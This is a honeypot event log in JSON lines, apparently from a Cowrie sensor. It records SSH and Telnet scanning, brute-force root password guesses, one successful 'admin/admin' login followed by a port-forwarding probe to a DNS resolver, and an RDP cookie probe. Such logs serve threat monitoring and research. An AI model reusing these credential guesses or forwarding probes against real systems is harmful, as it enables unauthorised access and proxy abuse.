{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:18.402636Z","src_ip":"181.47.9.103","session":"283ffaf1e5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.503005266189575,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:18.455264Z","src_ip":"152.42.224.71","session":"7fa7f4f77b36","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf","message":"login attempt [root/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:19.008711Z","src_ip":"181.47.9.103","session":"283ffaf1e5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:20.155484Z","src_ip":"181.47.9.103","session":"283ffaf1e5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.797417640686035,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:22.775719Z","src_ip":"152.42.224.71","session":"98d9a2acbeb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.92631268501282,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:24.668296Z","src_ip":"152.42.224.71","session":"b03641848546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.90395903587341,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:27.116371Z","src_ip":"152.42.224.71","session":"d4754c5b6d4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58970,"dst_ip":"10.17.0.5","dst_port":23,"session":"7800f08d4af5","protocol":"telnet","message":"New connection: 152.42.224.71:58970 (10.17.0.5:23) [session: 7800f08d4af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:27.315540Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":46646,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc4ba5ea7767","protocol":"ssh","message":"New connection: 45.153.34.97:46646 (10.17.0.5:22) [session: cc4ba5ea7767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:27.464395Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:27.548009Z","src_ip":"45.153.34.97","session":"cc4ba5ea7767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00467562675476,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:31.060705Z","src_ip":"152.42.224.71","session":"4ce0fca2881a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":22414,"dst_ip":"10.17.0.5","dst_port":22,"session":"e57fe276518e","protocol":"ssh","message":"New connection: 45.153.34.97:22414 (10.17.0.5:22) [session: e57fe276518e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:43.674436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:43.679847Z","src_ip":"45.153.34.97","session":"e57fe276518e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:43.784063Z","src_ip":"45.153.34.97","session":"e57fe276518e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ankurkudintzi","message":"login attempt [root/ankurkudintzi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:44.300861Z","src_ip":"45.153.34.97","session":"e57fe276518e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.07451677322388,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:44.964542Z","src_ip":"152.42.224.71","session":"c5a66687b3e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56236,"dst_ip":"159.203.135.109","dst_port":22,"session":"89bf8427641a","protocol":"ssh","message":"New connection: 89.223.69.22:56236 (159.203.135.109:22) [session: 89bf8427641a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:45.114462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:45.119397Z","src_ip":"89.223.69.22","session":"89bf8427641a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:45.236377Z","src_ip":"89.223.69.22","session":"89bf8427641a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:45.388316Z","src_ip":"45.153.34.97","session":"e57fe276518e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456b","message":"login attempt [root/123456b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:45.588265Z","src_ip":"89.223.69.22","session":"89bf8427641a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.20337224006653,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:46.702596Z","src_ip":"152.42.224.71","session":"6543821dbb77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:46.706973Z","src_ip":"89.223.69.22","session":"89bf8427641a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.12685489654541,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:57.345922Z","src_ip":"152.42.224.71","session":"ca585b19a608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2888867855072,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:03.604316Z","src_ip":"152.42.224.71","session":"7800f08d4af5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":60308,"dst_ip":"159.203.135.109","dst_port":22,"session":"70e5e59657c3","protocol":"ssh","message":"New connection: 89.108.118.91:60308 (159.203.135.109:22) [session: 70e5e59657c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:14.037293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:14.045825Z","src_ip":"89.108.118.91","session":"70e5e59657c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.29420614242554,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:14.143953Z","src_ip":"152.42.224.71","session":"634afad39dd3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:14.177676Z","src_ip":"89.108.118.91","session":"70e5e59657c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty!!","message":"login attempt [root/qwerty!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:14.573874Z","src_ip":"89.108.118.91","session":"70e5e59657c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:15.708638Z","src_ip":"89.108.118.91","session":"70e5e59657c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61206,"dst_ip":"10.17.0.5","dst_port":22,"session":"61d74ab98009","protocol":"ssh","message":"New connection: 152.42.212.128:61206 (10.17.0.5:22) [session: 61d74ab98009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:24.604192Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:24.608617Z","src_ip":"152.42.212.128","session":"61d74ab98009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:24.611896Z","src_ip":"152.42.212.128","session":"61d74ab98009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":46132,"dst_ip":"159.203.135.109","dst_port":22,"session":"d99599e5d1a2","protocol":"ssh","message":"New connection: 103.15.222.183:46132 (159.203.135.109:22) [session: d99599e5d1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:37.339816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:37.343940Z","src_ip":"103.15.222.183","session":"d99599e5d1a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:37.597069Z","src_ip":"103.15.222.183","session":"d99599e5d1a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cvthnm","message":"login attempt [root/cvthnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:38.343245Z","src_ip":"103.15.222.183","session":"d99599e5d1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:39.595033Z","src_ip":"103.15.222.183","session":"d99599e5d1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00348901748657,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:41.581548Z","src_ip":"152.42.224.71","session":"0d2ba4c9df55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62794,"dst_ip":"10.17.0.5","dst_port":22,"session":"c10f4c6140c2","protocol":"ssh","message":"New connection: 87.251.64.176:62794 (10.17.0.5:22) [session: c10f4c6140c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:42.657255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:42.661945Z","src_ip":"87.251.64.176","session":"c10f4c6140c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:42.758221Z","src_ip":"87.251.64.176","session":"c10f4c6140c2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:43.046083Z","src_ip":"87.251.64.176","session":"c10f4c6140c2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:43.144528Z","session":"c10f4c6140c2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:43.242500Z","src_ip":"87.251.64.176","session":"c10f4c6140c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:43.344701Z","src_ip":"87.251.64.176","session":"c10f4c6140c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53992,"dst_ip":"10.17.0.5","dst_port":23,"session":"a62c24f2f347","protocol":"telnet","message":"New connection: 152.42.224.71:53992 (10.17.0.5:23) [session: a62c24f2f347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:46.172492Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54006,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4dd578205fd","protocol":"telnet","message":"New connection: 152.42.224.71:54006 (10.17.0.5:23) [session: a4dd578205fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:52.090918Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39742,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cd8c9a56225","protocol":"ssh","message":"New connection: 109.172.54.111:39742 (10.17.0.5:22) [session: 2cd8c9a56225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:53.273390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:56:53.277401Z","src_ip":"109.172.54.111","session":"2cd8c9a56225","protocol":"ssh"}
